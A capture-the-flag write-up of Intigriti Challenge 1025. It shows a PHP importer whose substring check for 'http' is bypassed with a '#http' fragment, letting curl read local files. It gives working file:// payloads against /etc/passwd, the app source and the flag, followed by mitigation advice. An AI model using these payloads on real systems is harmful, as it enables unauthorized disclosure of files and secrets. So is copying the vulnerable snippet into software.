# Intigriti Challenge 1025 — SSRF → LFI Writeup **Author:** kutaysec • **Platform:** Intigriti • **Tier:** 2 --- ## 🧩 Description The challenge hosted at `https://challenge-1025.intigriti.io/challenge.php` provides a simple importer interface that fetches a remote resource from a user-supplied URL. A quick look at the source shows a naïve validation step that checks whether the string “http” appears in the parameter, then directly passes it to `curl_init()`. This pattern allows a crafted input to pass the check but still trigger a local file read through `file://`. **Goal:** Read arbitrary files from the server and retrieve the flag. --- ## 🔍 Challenge Analysis The vulnerable PHP snippet looked like this: ```php if (isset($_GET['url'])) { $url = $_GET['url']; if (stripos($url, 'http') === false) { die("Invalid URL: must include 'http'"); } $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); echo htmlspecialchars(curl_exec($ch)); } ``` The `stripos()` check simply searches for the substring `http`. It **does not validate the actual scheme**, so any string containing “http” somewhere—like in a fragment—will bypass it. --- ## ⚙️ Vulnerability Because `curl` supports multiple schemes (`http`, `https`, `file`, `ftp`, …), we can exploit the logic flaw by adding a fragment such as `#http`: ``` file:///etc/passwd#http ``` The condition `stripos($url, 'http') !== false` passes, but `curl` still interprets the prefix `file://` and reads local files. --- ## 💣 Proof of Concept ### 1️⃣ Initial test ``` GET /challenge.php?url=file%3A%2F%2F%2Fetc%2Fpasswd%23http ``` Decoded: `file:///etc/passwd#http` → Successfully returns the contents of `/etc/passwd`. ### 2️⃣ Source code disclosure ``` file:///var/www/html/challenge.php#http ``` Reveals the PHP source and confirms the logic flaw. ### 3️⃣ Flag retrieval ``` file:///proc/self/root/93e892fe-c0af-44a1-9308-5a58548abd98.txt#http ``` → Displays: ``` INTIGRITI{...} ``` --- ## 🧠 Technical Breakdown | Step | Component | Behavior | | ---- | ---------------- | ------------------------------------------------------------------- | | 1 | `stripos()` | Only searches substring “http” | | 2 | `curl_init()` | Accepts `file://` scheme | | 3 | Fragment `#http` | Triggers substring match while keeping actual protocol as `file://` | | 4 | `curl_exec()` | Reads local file contents | | 5 | Output | Displays sensitive data including flag | --- ## 🧰 Impact * **Arbitrary File Read (LFI via SSRF)** Attackers can access configuration files, source code, or secrets. * Potential escalation to **RCE** if writable files or sensitive tokens exist. --- ## 🧱 Mitigation 1. Use `parse_url()` and verify the scheme strictly: ```php $parts = parse_url($url); if (!in_array(strtolower($parts['scheme'] ?? ''), ['http','https'])) { die('Invalid URL'); } ``` 2. Implement an **allow-list of domains** if remote fetching is required. 3. Disable `file://` wrappers (`allow_url_fopen=0` or `CURLOPT_PROTOCOLS`). 4. Sanitize and log all user inputs before cURL requests. --- ## 🏁 Conclusion The challenge demonstrates how superficial string checks create severe SSRF/LFI vulnerabilities. By appending a harmless-looking fragment containing “http”, the attacker tricks the filter and makes `curl` read local files, ultimately exposing the flag. --- **Written by [@kutaysec](https://app.intigriti.com/researcher/profile/kutaysec)** **X Profile [@exploitpy](https://x.com/exploitpy)**